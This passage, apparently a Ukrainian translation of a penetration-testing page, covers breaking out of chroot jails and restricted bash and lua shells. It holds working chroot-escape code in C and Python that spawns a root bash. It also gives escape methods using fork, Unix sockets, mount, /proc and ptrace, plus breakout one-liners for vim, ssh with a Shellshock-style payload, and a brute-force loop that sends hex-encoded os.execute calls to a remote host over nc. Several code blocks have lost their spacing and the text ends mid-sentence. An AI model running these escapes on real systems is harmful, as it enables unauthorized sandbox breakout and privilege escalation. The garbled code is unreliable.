Шукайте наhttps://gtfobins.github.io/можливість виконання будь-якого виконуваного файлу з властивістю "Shell"
Втеча з Chroot
З вікіпедії: Механізм chroot не призначений для захисту від умисного втручання привілейованими (root) користувачами. На більшості систем контексти chroot не правильно стекаються, і програми, які працюють у chroot з достатніми привілеями, можуть виконати другий chroot, щоб вийти.
Зазвичай це означає, що для втечі вам потрібно бути root всередині chroot.
Інструментchw00t був створений для зловживання наступними сценаріями та втечі з chroot.
Root + CWD
Якщо ви root всередині chroot, ви можете втекти, створивши інший chroot. Це тому, що 2 chroot не можуть існувати одночасно (у Linux), тому якщо ви створите папку, а потім створите новий chroot у цій новій папці, бувши поза ним, ви тепер будете поза новим chroot і, отже, ви будете в ФС.
Це трапляється, оскільки зазвичай chroot НЕ переміщує вашу робочу директорію до вказаної, тому ви можете створити chroot, але бути поза ним.
Зазвичай ви не знайдете бінарний файл chroot всередині в'язниці chroot, але ви можете скомпілювати, завантажити та виконати бінарний файл:
#include<sys/stat.h>#include<stdlib.h>#include<unistd.h>//gcc break_chroot.c -o break_chrootintmain(void){mkdir("chroot-dir",0755);chroot("chroot-dir");for(int i =0; i <1000; i++) {chdir("..");}chroot(".");system("/bin/bash");}
Python
```python #!/usr/bin/python import os os.mkdir("chroot-dir") os.chroot("chroot-dir") for i in range(1000): os.chdir("..") os.chroot(".") os.system("/bin/bash") ```
Це схоже на попередній випадок, але в цьому випадку зловмисник зберігає файловий дескриптор у поточному каталозі, а потім створює chroot у новій папці. Нарешті, оскільки він має доступ до цього FDпоза chroot, він отримує до нього доступ і вибирається.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD може бути переданий через Unix Domain Sockets, тому:
* Створити дочірній процес (fork)
* Створити UDS, щоб батько і дитина могли спілкуватися
* Запустити chroot у дочірньому процесі в іншій папці
* У батьківському процесі створити FD папки, яка знаходиться поза новим chroot дочірнього процесу
* Передати цей FD дочірньому процесу за допомогою UDS
* Дочірній процес змінює поточну директорію на цей FD, і через те, що вона знаходиться поза його chroot, він вибереться з в'язниці
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Монтування кореневого пристрою (/) в каталог всередині chroot
* Chroot в цей каталог
Це можливо в Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Монтування procfs в каталог всередині chroot (якщо ще не)
* Шукайте pid, у якого інший корінь/поточна директорія, наприклад: /proc/1/root
* Chroot в цей запис
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Створити Fork (дочірній процес) і chroot в іншу папку глибше в FS та CD на неї
* З батьківського процесу перемістіть папку, де знаходиться дочірній процес, в папку перед chroot дітей
* Цей дочірній процес виявить себе поза chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Колись користувачі могли налагоджувати власні процеси з процесу самого себе... але це більше не можливо за замовчуванням
* У будь-якому випадку, якщо це можливо, ви можете використовувати ptrace в процесі та виконати shellcode всередині нього ([див. цей приклад](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeration
Отримати інформацію про в'язницю:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Зміна PATH
Перевірте, чи можете ви змінити змінну середовища PATH
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Використання vim
:setshell=/bin/sh:shell
Створення скрипту
Перевірте, чи можете ви створити виконуваний файл з вмістом /bin/bash
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Отримання bash з SSH
Якщо ви отримуєте доступ через ssh, ви можете скористатися цим трюком для виконання оболонки bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Зверніть увагу, що кожного разу, коли ви виконуєте попередню однорядкову команду в різному середовищі lua, порядок функцій змінюється. Тому, якщо вам потрібно виконати одну конкретну функцію, ви можете виконати атаку методом грубої сили, завантажуючи різні середовища lua та викликаючи першу функцію бібліотеки le:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Отримати інтерактивну lua оболонку: Якщо ви знаходитесь всередині обмеженої lua оболонки, ви можете отримати нову lua оболонку (і, сподіваємося, необмежену), викликавши: